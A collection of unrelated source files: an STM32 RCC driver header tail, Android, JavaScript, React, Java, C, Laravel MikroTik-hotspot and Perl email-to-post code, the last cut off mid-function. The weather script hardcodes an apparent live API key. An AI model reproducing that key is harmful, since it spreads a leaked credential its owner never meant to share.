@rmtoll CIR PLLRDYIE LL_RCC_IsEnabledIT_PLLRDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsEnabledIT_PLLRDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_PLLRDYIE) == (RCC_CIR_PLLRDYIE)); } /** * @brief Checks if HSI14 ready interrupt source is enabled or disabled. * @rmtoll CIR HSI14RDYIE LL_RCC_IsEnabledIT_HSI14RDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsEnabledIT_HSI14RDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_HSI14RDYIE) == (RCC_CIR_HSI14RDYIE)); } #if defined(RCC_HSI48_SUPPORT) /** * @brief Checks if HSI48 ready interrupt source is enabled or disabled. * @rmtoll CIR HSI48RDYIE LL_RCC_IsEnabledIT_HSI48RDY * @retval State of bit (1 or 0). */ __STATIC_INLINE uint32_t LL_RCC_IsEnabledIT_HSI48RDY(void) { return (READ_BIT(RCC->CIR, RCC_CIR_HSI48RDYIE) == (RCC_CIR_HSI48RDYIE)); } #endif /* RCC_HSI48_SUPPORT */ /** * @} */ #if defined(USE_FULL_LL_DRIVER) /** @defgroup RCC_LL_EF_Init De-initialization function * @{ */ ErrorStatus LL_RCC_DeInit(void); /** * @} */ /** @defgroup RCC_LL_EF_Get_Freq Get system and peripherals clocks frequency functions * @{ */ void LL_RCC_GetSystemClocksFreq(LL_RCC_ClocksTypeDef *RCC_Clocks); uint32_t LL_RCC_GetUSARTClockFreq(uint32_t USARTxSource); uint32_t LL_RCC_GetI2CClockFreq(uint32_t I2CxSource); #if defined(USB_OTG_FS) || defined(USB) uint32_t LL_RCC_GetUSBClockFreq(uint32_t USBxSource); #endif /* USB_OTG_FS || USB */ #if defined(CEC) uint32_t LL_RCC_GetCECClockFreq(uint32_t CECxSource); #endif /* CEC */ /** * @} */ #endif /* USE_FULL_LL_DRIVER */ /** * @} */ /** * @} */ #endif /* RCC */ /** * @} */ #ifdef __cplusplus } #endif #endif /* __STM32F0xx_LL_RCC_H */ /************************ (C) COPYRIGHT STMicroelectronics *****END OF FILE****/
package com.islamzada.todoapp.entity import android.os.Parcelable import androidx.room.ColumnInfo import androidx.room.Entity import androidx.room.PrimaryKey import kotlinx.parcelize.Parcelize @Parcelize @Entity data class Notes ( @PrimaryKey(autoGenerate = true) val id: Int, @ColumnInfo(name = "title") val title: String, @ColumnInfo(name = "description") val desc: String, @ColumnInfo(name = "date") val date: String, @ColumnInfo(name = "time") val time: String) : Parcelable { }
/* global Worker */ import Store from '@enhance/store' const store = Store() const CREATE = 'create' const UPDATE = 'update' const DESTROY = 'destroy' const LIST = 'list' let worker export default function API() { if (!worker) { worker = new Worker('/_public/worker.mjs') worker.onmessage = mutate } return { create, update, destroy, list, toggle, clear, subscribe: store.subscribe, unsubscribe: store.unsubscribe } } function mutate(e) { const { data } = e const { result, type } = data switch (type) { case CREATE: createMutation(result) break case UPDATE: updateMutation(result) break case DESTROY: destroyMutation(result) break case LIST: listMutation(result) break } } function toggle() { const active = store.active.slice() const completed = store.completed.slice() if (active.length > 0) { active.map(todo => update({...todo, completed: true})) } else { completed.map(todo => update({...todo, completed: false})) } } function clear() { const completed = store.completed.slice() completed.map(todo => destroy(todo)) } function updateStore(todos) { store.todos = todos store.active = todos.filter((todo) => !todo.completed) store.completed = todos.filter((todo) => todo.completed) } function createMutation({ todo }) { const copy = store.todos.slice() copy.push(todo) updateStore(copy) } function updateMutation({ todo }) { const copy = store.todos.slice() copy.splice(copy.findIndex(i => i.key === todo.key), 1, todo) updateStore(copy) } function destroyMutation({ todo }) { let copy = store.todos.slice() copy.splice(copy.findIndex(i => i.key === todo.key), 1) updateStore(copy) } function listMutation({ todos }) { updateStore(todos || []) } function create(todo) { worker.postMessage({ type: CREATE, data: JSON.stringify(todo) }) } function destroy (todo) { worker.postMessage({ type: DESTROY, data: JSON.stringify(todo) }) } function list () { worker.postMessage({ type: LIST }) } function update (todo) { worker.postMessage({ type: UPDATE, data: JSON.stringify(todo) }) }
// select HTML elements in the document const currentTemp = document.getElementById('current-temp'); const weatherIcon = document.getElementById('weather-icon'); const captionDesc = document.querySelector('figcaption'); // crear las variables con mi KEY const apiKey = "942cb3e734cbba69ea8a179cac8e553d"; const apiUrl = `https://api.openweathermap.org/data/2.5/weather?units=metric&q=Germany&appid=${apiKey}`; // realizamon una solicitud a una API utilizando el metodo fetch async function apiFetch() { try { const response = await fetch(apiUrl); if (response.ok) { const data = await response.json(); console.log(data); displayResultsStretch(data); } else { throw Error(await response.text()); } } catch (error) { console.error(error); } } // agrega una funcion para mostrar los resultados en la interfaz de usuario function displayResults(data) { currentTemp.innerHTML = `${data.main.temp}&deg;C`; const iconsrc = `https://openweathermap.org/img/w/${data.weather[0].icon}.png`; let desc = data.weather[0].description; weatherIcon.setAttribute('src', iconsrc); weatherIcon.setAttribute('alt', desc); captionDesc.textContent = `${desc}`; } // agrega una funcion para mostrar los resultados Stretch en la interfaz de usuario function displayResultsStretch(data) { // format temperature to show zero decimal points const formattedTemp = `${data.main.temp.toFixed(0)}&deg;C`; currentTemp.innerHTML = formattedTemp; // set weather icon const iconsrc = `https://openweathermap.org/img/w/${data.weather[0].icon}.png`; weatherIcon.setAttribute('src', iconsrc); // capitalize each word in the weather description const desc = data.weather[0].description.split(' '); const capitalizedDesc = desc.map(word => word.charAt(0).toUpperCase() + word.slice(1)).join(' '); // set weather description captionDesc.textContent = capitalizedDesc; } apiFetch();
/* * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * http://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. */ package fun.mingshan.markdown4j; import fun.mingshan.markdown4j.type.block.Block; import java.util.ArrayList; import java.util.List; import java.util.Objects; /** * Markdown文档 * * @author hanjuntao * @date 2022/1/17 */ @SuppressWarnings("ALL") public class Markdown { private final String name; private final List<Block> blocks; public Markdown(String name, List<Block> blocks) { this.name = name; this.blocks = blocks; } public String getName() { return this.name; } public List<Block> getBlocks() { return this.blocks; } public static MarkdownBuilder builder() { return new MarkdownBuilder(); } public static class MarkdownBuilder { private String name; private List<Block> blocks; MarkdownBuilder() { } public MarkdownBuilder name(String name) { Objects.requireNonNull(name, "the name not be null"); this.name = name; return this; } public MarkdownBuilder block(Block block) { Objects.requireNonNull(block, "the block not be null"); if (blocks == null) { blocks = new ArrayList<>(); } blocks.add(block); return this; } public Markdown build() { return new Markdown(this.name, this.blocks); } } @Override public String toString() { StringBuilder result = new StringBuilder(); for (Block block : blocks) { result.append(block.toMd()); // My attempt at appending newlines to MD looks like a mistake. Corrupts .md file? // result.append("\n"); } return result.toString(); } }
#include "variadic_functions.h" /** * print_numbers - prints numbers * @separator: separator to be printed between numbers * @n: number of integers passed to the function * * Return: void */ void print_numbers(const char *separator, const unsigned int n, ...) { va_list nums; unsigned int i; int var; va_start(nums, n); for (i = 0; i < n; i++) { var = va_arg(nums, int); if (separator == NULL) printf("%d", var); else if (separator && i == 0) printf("%d", var); else printf("%s%d", separator, var); } printf("\n"); va_end(nums); }
import React, { useState } from 'react'; import { Route, Switch, Redirect, useHistory } from 'react-router-dom'; import ReactDOM from 'react-dom'; import Header from "./Header.jsx"; import Main from "./Main.jsx"; import UserProfile from './UserProfile.jsx'; import Footer from "./Footer.jsx"; import PopupWithForm from "./PopupWithForm.jsx"; import ImagePopup from "./ImagePopup.jsx"; import api from '../utils/Api'; import { currentUserContext } from "../contexts/CurrentUserContext.js"; import EditProfilePopup from "./EditProfilePopup.jsx"; import EditAvatarPopup from "./EditAvatarPopup.jsx"; import AddPlacePopup from "./AddPlacePopup.jsx"; import Loader from './Loader.jsx'; import AcceptDeleteCardPopup from './AcceptDeleteCardPopup'; import Register from "./Register.jsx"; import Login from "./Login.jsx"; import ProtectRoute from './ProtectedRoute.jsx'; import InfoTooltip from "./InfoTooltip.jsx"; import * as MestoAuth from "../utils/MestoAuth.js" function App() { // стейт открытия попапа редактирования профиля const [isEditProfilePopupOpen, setIsEditProfilePopupOpen] = React.useState(false); // стейт открытия попапа добавления карточки const [isAddPlacePopupOpen, setIsAddPlacePopupOpen] = React.useState(false); // стейт открытия поапап редактирования аватара const [isEditAvatarPopupOpen, setIsEditAvatarPopupOpen] = React.useState(false); // стейт для открытия попапа подтверждения удаления const [isAcceptDeletePopupOpen, setIsAcceptDeletePopupOpen] = React.useState(false); // стейт для открытия попапа на весь экран картинки const [isImagePopupOpen, setIsImagePopupOpen] = React.useState(false); // // стейт для удалённой карточки const [cardDelete, isCardDelete] = React.useState({}); // стейт для открытия карточки на весь экран const [selectedCard, setSelectedCard] = React.useState({ name: '', link: '' }); // стейт для информации текущего пользователя const [currentUser, setCurrentUser] = React.useState({}); // стейт для карточекы const [cards, setCards] = React.useState([]); // стейт для лоадера const [isLoader, setLoader] = React.useState(false); const [loggedIn, setIsLoggedIn] = React.useState(null); const history = useHistory(); const [PopupRegister, setOpenPopupRegister] = React.useState(false); const [succesRegister, setIssuccesRegister] = React.useState(false); const [UserEmail, setUserEmail] = React.useState(""); React.useEffect(() => { // рендер страницы if (currentUser || loggedIn) { return api.renderUserAndCards() .then(([currentUserInfo, dataCards]) => { setCurrentUser(currentUserInfo.data); setCards(dataCards.data); }) .catch((err) => console.log(err)) } }, [loggedIn]); // UserData React.useEffect(() => { checkToken() }, []) React.useEffect(() => { if (loggedIn) { history.push("/") } }, [loggedIn]) // управление попапом изменение аватарки function handleEditAvatarClick() { setIsEditAvatarPopupOpen(true); } // управление попапом редактирования профиля function handleEditProfileClick() { setIsEditProfilePopupOpen(true); } // управление попапом добавления карточки function handleAddPlaceClick() { setIsAddPlacePopupOpen(true); } function closeAllPopups() { setIsEditAvatarPopupOpen(false); setIsEditProfilePopupOpen(false); setIsAddPlacePopupOpen(false); setSelectedCard({ name: '', link: '' }); setIsAcceptDeletePopupOpen(false); setOpenPopupRegister(false); setIsImagePopupOpen(false); } function handleUpdateUser(data) { setLoader(true); api.updateUserInfo(data) .then((newData) => { setCurrentUser(newData.data); }) .then(() => { closeAllPopups() }) .catch((err) => console.log(err)) .finally(() => setLoader(false)) } function handleUpdateAvatar(data) { setLoader(true) api.updateUserAvatar(data.avatar) .then((newData) => { setCurrentUser(newData.data); closeAllPopups() }) .catch((err) => { console.log(err) }) .finally(() => setLoader(false)) } function handleCardLike(card) { const isLiked = card.likes.some(i => i === currentUser._id); if (!isLiked) { api.setLike(card) .then((newCard) => { return setCards((state) => state.map((c) => c._id === card._id ? newCard.card : c)); }) .catch((err) => console.log(err)) } else { api.deleteLike(card) .then((newCard) => { return setCards((state) => state.map((c) => c._id === card._id ? newCard.card : c)); }) .catch((err) => { console.log(err) }) } } // ф-ция подтверждения удаления function handleAcceptDelete() { handleCardDelete(cardDelete) } // ф-ция открытия попапа удаления карточки function handleOpenPopupDelete(data) { isCardDelete(data) setIsAcceptDeletePopupOpen(true); } // ф-ция управляет удалением карточки function handleCardDelete(card) { setLoader(true); api.deleteCard(card) .then(() => { setCards((state) => state.filter((item) => item._id != card._id)) }) .then(() => closeAllPopups()) .catch((err) => console.log(err)) .finally(() => setLoader(false)) } function handleAddPlace(data) { setLoader(true); api.addCard(data) .then((newCard) => { setCards([newCard, ...cards]); closeAllPopups(); }) .catch((err) => console.log(err)) .finally(() => { setLoader(false) }) } function handleRegister(password, email) { setLoader(true); return ( MestoAuth.register(password, email) .then((res) => { if (res.data.email) { setIssuccesRegister(true); setOpenPopupRegister(true); setLoader(false); history.push("/sign-in") } else { throw new Error("Что-то пошло не так!") } }) .catch((e) => unsuccessfulRegister()) ); } function handleLogin(email, password) { setLoader(true); return (MestoAuth.authorize(email, password) .then((res) => { if (!res) { unsuccessfulRegister() setLoader(false); } if (res.token) { localStorage.setItem('jwt', res.token); setIsLoggedIn(true); setLoader(false); history.push("/"); } }) .catch(e => console.log(e)) ); } function checkToken() { let jwt = localStorage.getItem("jwt"); if (jwt) { MestoAuth.getContent(jwt) .then((res) => { if (res.data) { const { email } = res.data; setUserEmail(email); setIsLoggedIn(true); history.push("/"); } }) .catch(e => console.log(e)) } } function handleExit() { localStorage.removeItem('jwt'); setUserEmail(""); setIsLoggedIn(false); history.push('/sign-in'); } // попап который выведет грустный крестик function unsuccessfulRegister() { setLoader(false); setIssuccesRegister(false); setOpenPopupRegister(true); } function handleTextInfoTooltip() { if (succesRegister) { return "Вы успешно зарегистрировались !" } else { return "что-то пошло не так :(" } } function useEscapePress(callback, dependency) { React.useEffect(() => { if (dependency) { const onEscClose = e => { if (e.key === 'Escape') { callback() } } document.addEventListener('keyup', onEscClose); // при размонтировании удалим обработчик данным колбэком return () => { document.removeEventListener('keyup', onEscClose) }; } // eslint-disable-next-line react-hooks/exhaustive-deps }, [dependency]) } function handleCardClick(data) { setIsImagePopupOpen(true); setSelectedCard(data); } return ( <currentUserContext.Provider value={currentUser}> <div className="page"> <div className="page__container"> <Header loggedIn={loggedIn} email={UserEmail} handleExit={handleExit} /> <Switch> <Route path ="/profile"> <UserProfile onEditAvatar={handleEditAvatarClick} onCardClick={handleCardClick} cards={cards} /> </Route> <Route path="/sign-in"> <Login setLoader={setLoader} handleLogin={handleLogin} unsuccessfulRegister={unsuccessfulRegister} /> </Route> <Route path="/sign-up"> <Register unsuccessfulRegister={unsuccessfulRegister} handleRegister={handleRegister} /> </Route> <ProtectRoute exact path="/" cards={cards} onCardLike={handleCardLike} onCardDelete={handleOpenPopupDelete} onEditAvatar={handleEditAvatarClick} onEditProfile={handleEditProfileClick} onAddPlace={handleAddPlaceClick} onCardClick={handleCardClick} component={Main} loggedIn={loggedIn} /> <Route> {loggedIn ? <Redirect exact to="/" /> : <Redirect to="/sign-in" />} </Route> </Switch> <Footer /> <EditProfilePopup onUpdateUser={handleUpdateUser} isOpen={isEditProfilePopupOpen} onClose={closeAllPopups} useEscapePress={useEscapePress} /> <AddPlacePopup isOpen={isAddPlacePopupOpen} onClose={closeAllPopups} onAddPlace={handleAddPlace} useEscapePress={useEscapePress} /> <ImagePopup card={selectedCard} onClose={closeAllPopups} useEscapePress={useEscapePress} isOpen = {isImagePopupOpen} /> <EditAvatarPopup isOpen={isEditAvatarPopupOpen} onClose={closeAllPopups} onUpdateAvatar={handleUpdateAvatar} useEscapePress={useEscapePress} /> <Loader isOpen={isLoader} /> <AcceptDeleteCardPopup isAccept={handleAcceptDelete} onClose={closeAllPopups} isOpen={isAcceptDeletePopupOpen} useEscapePress={useEscapePress} /> <InfoTooltip text={handleTextInfoTooltip()} onClose={closeAllPopups} isRegister={succesRegister} isOpen={PopupRegister} useEscapePress={useEscapePress} /> </div> </div> </currentUserContext.Provider> ); } export default App;
import React, { useState } from "react"; import { PencilSquareIcon, TrashIcon, CloudArrowDownIcon, FolderOpenIcon} from "@heroicons/react/24/solid"; import FormAlert from "components/FormAlert"; import Button from "components/Button"; import EditClassModal from "components/EditClassModal"; import { useAuth } from "util/auth"; import { updateClass, deleteClass, useClassesByOwner } from "util/db"; import EditDocumentModal from "components/EditDocumentModal"; import DocumentListModal from "./DocumentListModal"; export default function DashboardClasses({ setSelectedClassId }) { const auth = useAuth(); const { data: classes, status: classesStatus, error: classesError, } = useClassesByOwner(auth.user.uid); const [creatingClass, setCreatingClass] = useState(false); const [updatingClassId, setUpdatingClassId] = useState(null); const classesAreEmpty = !classes || classes.length === 0; const [creatingDocument, setCreatingDocument] = useState(false); const [updatingDocumentId, setUpdatingDocumentId] = useState(null); const [selectedClassIdForDocument, setSelectedClassIdForDocument] = useState(null); const [isDocumentListModalOpen, setIsDocumentListModalOpen] = useState(false); return ( <> {classesError && ( <div className="mb-4"> <FormAlert type="error" message={classesError.message} /> </div> )} <div> <div className="flex justify-between items-center p-4 border-b border-gray-200"> <span className="text-xl">Classes</span> <Button size="sm" variant="primary" onClick={() => setCreatingClass(true)} > Add Class </Button> </div> {(classesStatus === "loading" || classesAreEmpty) && ( <div className="p-8"> {classesStatus === "loading" && <>Loading...</>} {classesStatus !== "loading" && classesAreEmpty && ( <>Nothing yet. Click the button to add your first class.</> )} </div> )} {classesStatus !== "loading" && classes && classes.length > 0 && ( <> {classes.map((classItem, index) => ( <div className="flex p-4 border-b border-gray-200 cursor-pointer" key={index} onClick={() => setSelectedClassId(classItem.id)}> {classItem.name} <div className="flex items-center ml-auto space-x-3"> <button className="w-5 h-5 text-slate-600" onClick={(e) => { e.stopPropagation(); setSelectedClassIdForDocument(classItem.id); setIsDocumentListModalOpen(true); }} > <FolderOpenIcon /> </button> <button className="w-5 h-5 text-slate-600" onClick={(e) => { e.stopPropagation(); setSelectedClassIdForDocument(classItem.id); setCreatingDocument(true);} } > <CloudArrowDownIcon /> </button> <button className="w-5 h-5 text-slate-600" onClick={() => {setUpdatingClassId(classItem.id);}} > <PencilSquareIcon /> </button> <button className="w-5 h-5 text-slate-600" onClick={() => deleteClass(classItem.id)} > <TrashIcon /> </button> </div> </div> ))} </> )} </div> {isDocumentListModalOpen && (<DocumentListModal isOpen={isDocumentListModalOpen} onClose={() => setIsDocumentListModalOpen(false)} classId={selectedClassIdForDocument} />)} {creatingClass && ( <EditClassModal onDone={() => setCreatingClass(false)} /> )} {updatingClassId && ( <EditClassModal id={updatingClassId} onDone={() => setUpdatingClassId(null)} /> )} {creatingDocument && ( <EditDocumentModal classId={selectedClassIdForDocument} onDone={() => { setCreatingDocument(false); setSelectedClassIdForDocument(null); }} /> )} {updatingDocumentId && ( <EditDocumentModal id={updatingDocumentId} onDone={() => setUpdatingDocumentId(null)} /> )} </> ); }
<?php namespace App\Http\Controllers\Admin; use App\Http\Controllers\Controller; use App\Http\Requests\AddressRequest; use App\Models\Setting; use http\Client\Request; use Illuminate\Database\Eloquent\Collection; use Illuminate\Database\Eloquent\Model; use Illuminate\Support\Facades\Auth; use Inertia\Inertia; use RouterOS\Client; use RouterOS\Exceptions\BadCredentialsException; use RouterOS\Exceptions\ClientException; use RouterOS\Exceptions\ConfigException; use RouterOS\Exceptions\ConnectException; use RouterOS\Exceptions\QueryException; use RouterOS\Query; use App\Traits\getMikrotikIP; use App\Traits\PaginatableAndSearchableTrait; use Symfony\Component\HttpFoundation\StreamedResponse; class HotspotController extends Controller { //Get function From Get Mikrotik Trait use getMikrotikIP; //Get function From PaginatableAndSearchableTrait Trait use PaginatableAndSearchableTrait; public function __construct() { $this->middleware('can:hotspot list', ['only' => ['index', 'show']]); $this->middleware('can:hotspot create', ['only' => ['create', 'store']]); $this->middleware('can:hotspot edit', ['only' => ['edit', 'update']]); $this->middleware('can:hotspot delete', ['only' => ['destroy']]); } /** * @return mixed * @throws BadCredentialsException * @throws ClientException * @throws ConfigException * @throws ConnectException * @throws QueryException */ public function getAllProfileHotspot(): mixed //Get All Profile Hotspot { //Get IP Mikrotik From User Login (Setting) $getIP = $this->connectIP(); //Query Data $query = (new Query('/ip/hotspot/user/print')); // Ask for monitoring details return $getIP->query($query)->read(); } /** * @throws ClientException * @throws ConnectException * @throws QueryException * @throws BadCredentialsException * @throws ConfigException */ public function getHotspotByProfile($profile) //get User Hotspot By Profile { //Get IP Mikrotik From User Login (Setting) $getIP = $this->connectIP(); //Query Data $query = (new Query('/ip/hotspot/user/print')) ->where('profile', $profile); // Ask for monitoring details return $getIP->query($query)->read(); } /** * @throws ClientException * @throws ConnectException * @throws QueryException * @throws BadCredentialsException * @throws ConfigException */ public function userHotspotActive() //Stream Active User Hotspot { //Get IP Mikrotik From User Login (Setting) $getIP = $this->connectIP(); //Query Data $query = (new Query('/ip/hotspot/active/print')); // Ask for monitoring details return $getIP->query($query)->read(); } /** * @throws ClientException * @throws ConnectException * @throws QueryException * @throws BadCredentialsException * @throws ConfigException */ // Add User hotspot public function addUserHotpot(AddressRequest $request): \Illuminate\Http\RedirectResponse { //Get IP Mikrotik From User Login (Setting) $getIP = $this->connectIP(); //Query Data $query = (new Query('/ip/hotspot/user/add')) ->equal('name', $request->input('name')) ->equal('password', $request->input('password')) ->equal('profile', $request->input('profile')) ->equal('server', $request->input('server')); // Ask for monitoring details $getIP->query($query)->read(); // Redirect Back With Toast Callback return back()->with("message", "User Hotspot Berhasil Ditambah"); } /** * @throws ClientException * @throws ConnectException * @throws QueryException * @throws BadCredentialsException * @throws ConfigException */ // Hotspot page Index public function index(\Illuminate\Http\Request $request): \Inertia\Response { //Get IP Mikrotik From User Login (Setting) $getIP = $this->connectIP(); //Query Data $items = $getIP->query('/ip/hotspot/user/print')->read(); $profile = $getIP->query('/ip/hotspot/user/profile/print')->read(); $active = $getIP->query('/ip/hotspot/active/print')->read(); $totalActive = count($active); // Refactor Function Paginate list($searchQuery, $paginatedItems) = $this->paginated($request, $items); // Debug // dd($paginatedItems); //Return Inertia Render Page return Inertia::render('Admin/Monitoring/Hotspot/Index', [ 'items' => $paginatedItems, 'searchQuery' => $searchQuery, 'totalActive' => $totalActive, 'profile' => $profile, 'can' => [ 'create' => Auth::user()->can('hotspot create'), 'edit' => Auth::user()->can('hotspot edit'), 'delete' => Auth::user()->can('hotspot delete'), ] ]); } /** * @throws ClientException * @throws ConnectException * @throws QueryException * @throws BadCredentialsException * @throws ConfigException */ public function detailHotspot($profile): \Inertia\Response { //Get Data From Query Data Function $detail = $this->getHotspotByProfile($profile); // dd($detail); //Return Inertia Render Page return Inertia::render('Admin/Monitoring/Hotspot/Detail', [ 'detailHotspot' => $detail, 'can' => [ 'create' => Auth::user()->can('hotspot create'), 'edit' => Auth::user()->can('hotspot edit'), 'delete' => Auth::user()->can('hotspot delete'), ] ]); } // Create Route public function createUserHotspot(): \Inertia\Response { return Inertia::render('Admin/Monitoring/Hotspot/Create'); } /** * @throws ClientException * @throws ConnectException * @throws QueryException * @throws BadCredentialsException * @throws ConfigException */ //Remove user hotspot public function removeUserHotspot($id): \Illuminate\Http\RedirectResponse { //Get IP Mikrotik From User Login (Setting) $getIP = $this->connectIP(); //Query Data $getIP->query(['/ip/hotspot/user/remove', '=.id=' . $id])->read(); // Redirect Back With Toast Callback return back()->with("message", "User Hotspot Berhasil Dihapus"); } // Stream Data User/Active Hotspot From Mikrotik (SSE Method) public function StreamActiveHotspot(): StreamedResponse { $response = new StreamedResponse(function () { while (true) { // Logic Get Monitor Interface By Name URL $out = $this->userHotspotActive(); $data = [ 'message' => 'Hotspot Active Update', 'timestamp' => now()->toDateTimeString(), 'data' => $out, ]; // Send Data To SSE Client echo "data: " . json_encode($data) . "\n\n"; ob_flush(); flush(); // Add Delay From Backend To Client Repeat New Data Monitor sleep(1); } }); $response->headers->set('Content-Type', 'text/event-stream'); $response->headers->set('Cache-Control', 'no-cache'); $response->headers->set('Connection', 'keep-alive'); $response->headers->set('Transfer-Encoding', 'identity'); return $response; } // Return Data From Stream public function activeHotspot(): \Inertia\Response { return Inertia::render('Admin/Monitoring/Hotspot/Active'); } /** * @param \Illuminate\Http\Request $request * @param mixed $items * @return array */ // Paginate Refactor Function public function paginated(\Illuminate\Http\Request $request, mixed $items): array { $perPage = 10; // Jumlah item per halaman $page = $request->input('page', 1); // Halaman saat ini, default: 1 $searchQuery = $request->input('search'); // Kata kunci pencarian $searchableColumns = ['name']; // Kolom yang dapat dijadikan sebagai kriteria pencarian $paginatedItems = $this->paginateAndSearch($items, $perPage, $page, $searchQuery, $searchableColumns); return array($searchQuery, $paginatedItems); } }
#!/usr/bin/perl use strict; use warnings; use Getopt::Long; use Pod::Usage; use Path::Class qw(dir file); use meon::Web::Config; use meon::Web::env; use Email::MIME; use Email::Sender::Simple qw(sendmail); use XML::Chain qw(xc); use DateTime; use String::Ident; use URI::Escape qw(uri_escape); use Imager; use List::Util qw(min any); use List::MoreUtils qw(uniq); use File::Basename qw(basename); use DateTime::Format::Mail; use Run::Env; use 5.010; exit main(); sub main { my $help; my $dst_domain; my $notify_email; my $author; GetOptions( 'help|h' => \$help, 'hostname=s' => \$dst_domain, 'notify=s' => \$notify_email, 'author=s' => \$author, ) or pod2usage; pod2usage if $help; pod2usage unless defined $dst_domain; my $email_txt = do {local $/; <>;}; my $email = Email::MIME->new($email_txt); my ($from) = Email::Address->parse($email->header_obj->header('From')); die 'no sender' unless $from; my ($to) = Email::Address->parse($email->header_obj->header('To')); my $reply_from_email = $to // meon::Web::Config->get->{main}->{'no-reply-email'}; my @to_notify = uniq map {defined($_) ? $_ : ()} ($notify_email, $from->address); my $subject = $email->header_obj->header('Subject'); die 'no subject' unless $subject; my $date_str = $email->header_obj->header('Date'); my $sent_dt; if ($date_str) { $sent_dt = eval {DateTime::Format::Mail->parse_datetime($date_str)}; } $sent_dt //= DateTime->now(); $sent_dt->set_time_zone('UTC'); my $ident = String::Ident->cleanup($subject,-1); my $hostname_folder = meon::Web::Config->hostname_to_folder($dst_domain); my $dst_hostname_dir = dir(meon::Web::SPc->srvdir, 'www', 'meon-web', $hostname_folder, 'content',); die 'no such hostname ' . $dst_domain unless $hostname_folder; my ($year, $month) = ($sent_dt->year, $sent_dt->strftime('%m')); my $dst_dir = $dst_hostname_dir->subdir($year, $month); $dst_dir->mkpath() unless (-d $dst_dir); my $year_idx = $dst_dir->parent->file('index.xml'); my $month_idx = $dst_dir->file('index.xml'); $year_idx->spew(year_index()) unless (-f $year_idx); $month_idx->spew(month_index()) unless (-f $month_idx); my $assets_dir = $dst_dir->subdir($ident); my $dst_file = $dst_dir->file($ident . '.xml'); my $entry = xc(xml_template())->set_io_any($dst_file); $entry->find('//w:title')->empty->t($subject); $entry->find('//w:created')->empty->t($sent_dt); $entry->find('//w:author')->empty->t($author // $from->name // 'anonymous'); my $content_el = $entry->find('//xhtml:div[@id="main-content"]')->empty; my $main_img_el = $entry->find('//xhtml:img[@id="main-image"]'); my $img_thumb_el = $entry->find('//w:img-thumb')->empty; my @images; my $attach_ul_el = $entry->find('//xhtml:div[@id="attachments"]/xhtml:ul'); my $has_attachments = 0; my $img_div = $content_el->find('//xhtml:div[@id="images-list"]'); foreach my $part ($email->parts) { my $mime_type = $part->content_type; my $body = $part->body; my $filename = $part->filename; if ($mime_type =~ m{^text/plain}i) { $body =~ s/^\s+//; $body =~ s/\s+$//; $content_el->a(xc('p')->t($body))->t("\n") if (length($body)); } elsif ($mime_type =~ m{^text/html}i) { # skip for now } if ($filename) { $has_attachments = 1; $assets_dir->mkpath unless -d $assets_dir; while (any {$_->{filename} eq $filename} @images) { if ($filename =~ m/^(\d+)(_.+$)/) { $filename = ($1 + 1) . $2; } else { $filename = '2_' . $filename; } } my $file = $assets_dir->file($filename); $file->spew($body); my $href = $ident . '/' . uri_escape($filename); if ($mime_type =~ m{^image/}) { push( @images, { src => $href, file => $file, filename => $filename, } ); } else { $attach_ul_el->c('li')->c('a', 'href' => $href)->t($mime_type); $attach_ul_el->t("\n"); } } } if (@images) { my $first_image_file = $images[0]->{file}; if (my $img = Imager->new(file => $first_image_file)) { my $thumb_file = $first_image_file; if ($first_image_file->basename =~ m/.([.][^\s]+)$/) { $thumb_file = substr($thumb_file, 0, length($thumb_file) - length($1)) . '-thumb' . $1; } else { $thumb_file = $thumb_file . '-t'; } my $min_size = min($img->getwidth, $img->getheight); $img = $img->crop(left => 0, top => 0, right => $min_size, bottom => $min_size) ->scale(xpixels => 250, qtype => 'mixing'); $img->write(file => $thumb_file); $img_thumb_el->t(uri_escape(basename($thumb_file))); } else { $img_thumb_el->rm; } if ($content_el->children->count) { my $img = shift(@images); $main_img_el->attr(src => $img->{src}); } else { $main_img_el->rm; } foreach my $img (@images) { $img_div->a('img', src => $img->{src})->t("\n"); } } else { $img_thumb_el->rm; $main_img_el->rm; $img_div->rm; } unless ($has_attachments) { $attach_ul_el->parent->rm; } $entry->store; foreach my $to_email (@to_notify) { my @attachments; my @email_headers = ( header_str => [ From => $reply_from_email, To => $to_email, Subject => 'new post on ' . $dst_domain, ], ); my @email_text = ( attributes => { content_type => "text/plain", charset => "UTF-8", encoding => "8bit", }, body_str => 'new post processed and available under http://' . $dst_domain . '/' . file($year, $month, $ident) . "\n", ); my $email = Email::MIME->create(@email_headers, @email_text,); if (Run::Env->prod) { sendmail($email, {to => $to_email, from => $reply_from_email}); } else { my $email_string = $email->as_string; my $i = 0; for (@attachments) { $i++; $email_string .= "\nAttachment $i: " . $_; } warn $email_string; } } return 0; } sub xml_template { return XML::LibXML->load_xml(string => <<'__XML_TEMPLATE__'); <?xml version="1.0" encoding="UTF-8"?> <page xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://web.meon.eu/" xmlns:w="http://web.meon.eu/"> <meta> <title>__FIXME__</title> </meta> <content><div xmlns="http://www.w3.org/1999/xhtml"> <w:timeline-entry category="news"> <w:created>__FIXME__</w:created> <w:author>__FIXME__</w:author> <w:title>__FIXME__</w:title> <w:img-thumb>__FIXME__</w:img-thumb> <w:text> <img id="main-image" src="__FIXME__/__FIXME__.jpg" style="float:right; margin: 0 0 1em 1em; max-width: 33%;"/> <div id="main-content" xmlns="http://www.w3.org/1999/xhtml" style="white-space: pre-wrap"> __FIXME__ </div> <div id="attachments"> <ul> </ul> </div> <div id="images-list"> </div> </w:text> </w:timeline-entry> </div></content> </page> __XML_TEMPLATE__ } sub year_index { return << '__YEAR_INDEX__'; <?xml version="1.0" encoding="UTF-8"?> <page xmlns:xhtml="http://www.w3.org/1999/xhtml" xmlns="http://web.meon.eu/" xmlns:w="http://web.meon.eu/"> <meta><redirect>{$TIMELINE_NEWEST}/</redirect></meta> <content><div xmlns="http://www.w3.org/1999/xhtml"> </div></content> </page> __YEAR_INDEX__ } sub month_index { return << 